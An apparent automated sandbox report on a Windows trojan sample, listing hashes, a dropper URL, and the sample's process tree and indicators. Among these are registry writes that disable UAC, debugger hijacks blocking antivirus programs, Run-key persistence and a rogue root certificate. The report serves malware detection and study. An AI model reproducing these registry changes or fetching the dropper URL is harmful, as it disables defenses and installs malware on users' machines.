4192d1084d9dd28e293bdce815592fa71c8722d9c91083b8c8c9b8cfec061d49

Analysis

max time kernel
149s
max time network
123s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
29-09-2024 14:19

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe
Size

2.1MB
MD5

feb4a1e95f3ac74c6e7a3b85a7a11834
SHA1

fca4199e3320a006453d16bb8ac105354d6581ff
SHA256

4192d1084d9dd28e293bdce815592fa71c8722d9c91083b8c8c9b8cfec061d49
SHA512

854fd8be770ec36243f7349cc1210364a3d7d941e23cdaa4316808bdc965bddcc000f6f7971e8fc116fd54b6912f62ea5b220f717e1b1dd28f0db2bd9290eb35
SSDEEP

49152:D2q3civpMQ9OFnvQNNSNuknmQo6O1g5XcvCt6CfKppWOM:DrciveQ9OFnv+4N1A6O16rcvpxM

Score

10^/10

defense_evasion discovery evasion execution persistence trojan

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://galaint.coolsecupdate.info/?0=154&1=1&2=1&3=40&4=i&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000&12=hedphpnjnr&14=1

Signatures

Disables service(s) 3 TTPs
evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

UAC bypass 3 TTPs 3 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-knlh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-knlh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-knlh.exe

Disables taskbar notifications via registry modification
evasion

Event Triggered Execution: Image File Execution Options Injection 1 TTPs 64 IoCs

persistence

Image File Execution Options Injection

T1546.012

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msiexec16.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nisum.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\shn.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avxmonitor9x.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\f-prot95.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mfweng3.02d30.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\monitor.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vshwin32.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luinit.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\guard.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSANHost.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\spoolsv32.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscman.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\periscope.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sgssfw32.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\nc2000.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\av360.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Security Center.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mssys.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\portmonitor.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PSUNMain.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\w32dsm89.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDSurvey.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\etrustcipe.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\frw.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\loader.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\moolive.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\PerAvir.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\rav7win.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luau.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\antivirusxppro2009.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ctrl.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mcvsrte.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hbsrv.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\windows.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mu0311ad.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\smc.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\luspt.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\McSACore.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\BDMsnScan.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hbinst.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tds-3.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vbcmserv.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\xpf202en.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\hotactio.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\arr.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\bidef.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\brasil.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\dcomx.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgwdsvc.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\cpf9x206.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\mscache.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\pspf.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avgctrl.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\periscope.exe	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sahagent.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\vsched.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\teekids.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\tsc.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\AlphaAV.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\netarmor.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\QuickHealCleaner.exe	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\SaveKeep.exe\Debugger = "svchost.exe"	Protector-knlh.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ashAvast.exe\Debugger = "svchost.exe"	Protector-knlh.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 3 IoCs

pid	Process
2652	m41l78u9uprxqjv.exe
2512	b6thynos8b04n66.exe
2664	Protector-knlh.exe

Loads dropped DLL 7 IoCs

pid	Process
2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe
2652	m41l78u9uprxqjv.exe
2652	m41l78u9uprxqjv.exe
2512	b6thynos8b04n66.exe
2512	b6thynos8b04n66.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Windows\CurrentVersion\Run\Inspector = "C:\\Users\\Admin\\AppData\\Roaming\\Protector-knlh.exe"	Protector-knlh.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

T1082

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-knlh.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\diskmgmt.msc	Protector-knlh.exe
File opened for modification	C:\Windows\SysWOW64\services.msc	Protector-knlh.exe
File opened for modification	C:\Windows\SysWOW64\eventvwr.msc	Protector-knlh.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2028	sc.exe
1956	sc.exe
1516	sc.exe
1404	sc.exe
1608	sc.exe
112	sc.exe
1236	sc.exe
1276	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 14 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	m41l78u9uprxqjv.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Protector-knlh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	b6thynos8b04n66.exe

Modifies Internet Explorer settings 1 TTPs 3 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312\iexplore.exe = "1"	Protector-knlh.exe
Key created	\REGISTRY\USER\S-1-5-21-3290804112-2823094203-3137964600-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE ERROR PAGE BYPASS ZONE CHECK FOR HTTPS KB954312	Protector-knlh.exe

Modifies system certificate store 2 TTPs 2 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436	Protector-knlh.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\A8985D3A65E5E5C4B2D7D66D40C6DD2FB19C5436\Blob = 04000000010000001000000079e4a9840d7d3a96d7c04fe2434c892e0f0000000100000014000000b34ddd372ed92e8f2abfbb9e20a9d31f204f194b090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030814000000010000001400000003de503556d14cbb66f0a3e21b1bc397b23dd1550b00000001000000120000004400690067006900430065007200740000001d000000010000001000000059779e39e21a2e3dfced6857ed5c5fd9030000000100000014000000a8985d3a65e5e5c4b2d7d66d40c6dd2fb19c54361900000001000000100000000f3a0527d242de2dc98e5cfcb1e991ee2000000001000000b3030000308203af30820297a0030201020210083be056904246b1a1756ac95991c74a300d06092a864886f70d01010505003061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f74204341301e170d3036313131303030303030305a170d3331313131303030303030305a3061310b300906035504061302555331153013060355040a130c446967694365727420496e6331193017060355040b13107777772e64696769636572742e636f6d3120301e06035504031317446967694365727420476c6f62616c20526f6f7420434130820122300d06092a864886f70d01010105000382010f003082010a0282010100e23be11172dea8a4d3a357aa50a28f0b7790c9a2a5ee12ce965b010920cc0193a74e30b753f743c46900579de28d22dd870640008109cece1b83bfdfcd3b7146e2d666c705b37627168f7b9e1e957deeb748a308dad6af7a0c3906657f4a5d1fbc17f8abbeee28d7747f7a78995985686e5c23324bbf4ec0e85a6de370bf7710bffc01f685d9a844105832a97518d5d1a2be47e2276af49a33f84908608bd45fb43a84bfa1aa4a4c7d3ecf4f5f6c765ea04b37919edc22e66dce141a8e6acbfecdb3146417c75b299e32bff2eefad30b42d4abb74132da0cd4eff881d5bb8d583fb51be84928a270da3104ddf7b216f24c0a4e07a8ed4a3d5eb57fa390c3af270203010001a3633061300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e0416041403de503556d14cbb66f0a3e21b1bc397b23dd155301f0603551d2304183016801403de503556d14cbb66f0a3e21b1bc397b23dd155300d06092a864886f70d01010505000382010100cb9c37aa4813120afadd449c4f52b0f4dfae04f5797908a32418fc4b2b84c02db9d5c7fef4c11f58cbb86d9c7a74e79829ab11b5e370a0a1cd4c8899938c9170e2ab0f1cbe93a9ff63d5e40760d3a3bf9d5b09f1d58ee353f48e63fa3fa7dbb466df6266d6d16e418df22db5ea774a9f9d58e22b59c04023ed2d2882453e7954922698e08048a837eff0d6796016deace80ecd6eac4417382f49dae1453e2ab93653cf3a5006f72ee8c457496c612118d504ad783c2c3a806ba7ebaf1514e9d889c1b9386ce2916c8aff64b977255730c01b24a3e1dce9df477cb5b424080530ec2dbd0bbf45bf50b9a9f3eb980112adc888c698345f8d0a3cc6e9d595956dde	Protector-knlh.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2512	b6thynos8b04n66.exe
Token: SeShutdownPrivilege	2512	b6thynos8b04n66.exe
Token: SeDebugPrivilege	2664	Protector-knlh.exe
Token: SeShutdownPrivilege	2664	Protector-knlh.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe

Suspicious use of SendNotifyMessage 4 IoCs

pid	Process
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2512	b6thynos8b04n66.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe
2664	Protector-knlh.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2272 wrote to memory of 2652	2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe	30
PID 2272 wrote to memory of 2652	2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe	30
PID 2272 wrote to memory of 2652	2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe	30
PID 2272 wrote to memory of 2652	2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe	30
PID 2272 wrote to memory of 2652	2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe	30
PID 2272 wrote to memory of 2652	2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe	30
PID 2272 wrote to memory of 2652	2272	feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe	30
PID 2652 wrote to memory of 2512	2652	m41l78u9uprxqjv.exe	31
PID 2652 wrote to memory of 2512	2652	m41l78u9uprxqjv.exe	31
PID 2652 wrote to memory of 2512	2652	m41l78u9uprxqjv.exe	31
PID 2652 wrote to memory of 2512	2652	m41l78u9uprxqjv.exe	31
PID 2652 wrote to memory of 2512	2652	m41l78u9uprxqjv.exe	31
PID 2652 wrote to memory of 2512	2652	m41l78u9uprxqjv.exe	31
PID 2652 wrote to memory of 2512	2652	m41l78u9uprxqjv.exe	31
PID 2512 wrote to memory of 2664	2512	b6thynos8b04n66.exe	32
PID 2512 wrote to memory of 2664	2512	b6thynos8b04n66.exe	32
PID 2512 wrote to memory of 2664	2512	b6thynos8b04n66.exe	32
PID 2512 wrote to memory of 2664	2512	b6thynos8b04n66.exe	32
PID 2512 wrote to memory of 2664	2512	b6thynos8b04n66.exe	32
PID 2512 wrote to memory of 2664	2512	b6thynos8b04n66.exe	32
PID 2512 wrote to memory of 2664	2512	b6thynos8b04n66.exe	32
PID 2512 wrote to memory of 2716	2512	b6thynos8b04n66.exe	33
PID 2512 wrote to memory of 2716	2512	b6thynos8b04n66.exe	33
PID 2512 wrote to memory of 2716	2512	b6thynos8b04n66.exe	33
PID 2512 wrote to memory of 2716	2512	b6thynos8b04n66.exe	33
PID 2512 wrote to memory of 2716	2512	b6thynos8b04n66.exe	33
PID 2512 wrote to memory of 2716	2512	b6thynos8b04n66.exe	33
PID 2512 wrote to memory of 2716	2512	b6thynos8b04n66.exe	33
PID 2664 wrote to memory of 2416	2664	Protector-knlh.exe	35
PID 2664 wrote to memory of 2416	2664	Protector-knlh.exe	35
PID 2664 wrote to memory of 2416	2664	Protector-knlh.exe	35
PID 2664 wrote to memory of 2416	2664	Protector-knlh.exe	35
PID 2664 wrote to memory of 2416	2664	Protector-knlh.exe	35
PID 2664 wrote to memory of 2416	2664	Protector-knlh.exe	35
PID 2664 wrote to memory of 2416	2664	Protector-knlh.exe	35
PID 2664 wrote to memory of 1236	2664	Protector-knlh.exe	39
PID 2664 wrote to memory of 1236	2664	Protector-knlh.exe	39
PID 2664 wrote to memory of 1236	2664	Protector-knlh.exe	39
PID 2664 wrote to memory of 1236	2664	Protector-knlh.exe	39
PID 2664 wrote to memory of 1236	2664	Protector-knlh.exe	39
PID 2664 wrote to memory of 1236	2664	Protector-knlh.exe	39
PID 2664 wrote to memory of 1236	2664	Protector-knlh.exe	39
PID 2664 wrote to memory of 1276	2664	Protector-knlh.exe	40
PID 2664 wrote to memory of 1276	2664	Protector-knlh.exe	40
PID 2664 wrote to memory of 1276	2664	Protector-knlh.exe	40
PID 2664 wrote to memory of 1276	2664	Protector-knlh.exe	40
PID 2664 wrote to memory of 1276	2664	Protector-knlh.exe	40
PID 2664 wrote to memory of 1276	2664	Protector-knlh.exe	40
PID 2664 wrote to memory of 1276	2664	Protector-knlh.exe	40
PID 2664 wrote to memory of 2028	2664	Protector-knlh.exe	42
PID 2664 wrote to memory of 2028	2664	Protector-knlh.exe	42
PID 2664 wrote to memory of 2028	2664	Protector-knlh.exe	42
PID 2664 wrote to memory of 2028	2664	Protector-knlh.exe	42
PID 2664 wrote to memory of 2028	2664	Protector-knlh.exe	42
PID 2664 wrote to memory of 2028	2664	Protector-knlh.exe	42
PID 2664 wrote to memory of 2028	2664	Protector-knlh.exe	42
PID 2664 wrote to memory of 112	2664	Protector-knlh.exe	43
PID 2664 wrote to memory of 112	2664	Protector-knlh.exe	43
PID 2664 wrote to memory of 112	2664	Protector-knlh.exe	43
PID 2664 wrote to memory of 112	2664	Protector-knlh.exe	43
PID 2664 wrote to memory of 112	2664	Protector-knlh.exe	43
PID 2664 wrote to memory of 112	2664	Protector-knlh.exe	43
PID 2664 wrote to memory of 112	2664	Protector-knlh.exe	43
PID 2664 wrote to memory of 1608	2664	Protector-knlh.exe	45

System policy modification 1 TTPs 4 IoCs

evasion

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorUser = "0"	Protector-knlh.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	Protector-knlh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	Protector-knlh.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	Protector-knlh.exe

C:\Users\Admin\AppData\Local\Temp\feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\feb4a1e95f3ac74c6e7a3b85a7a11834_JaffaCakes118.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:2272
- C:\Users\Admin\AppData\Local\Temp\RarSFX0\m41l78u9uprxqjv.exe
  "C:\Users\Admin\AppData\Local\Temp\RarSFX0\m41l78u9uprxqjv.exe" -e -p2pn8xu698ah0qb9
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2652
- - C:\Users\Admin\AppData\Local\Temp\RarSFX1\b6thynos8b04n66.exe
    "C:\Users\Admin\AppData\Local\Temp\RarSFX1\b6thynos8b04n66.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2512
  - - C:\Users\Admin\AppData\Roaming\Protector-knlh.exe
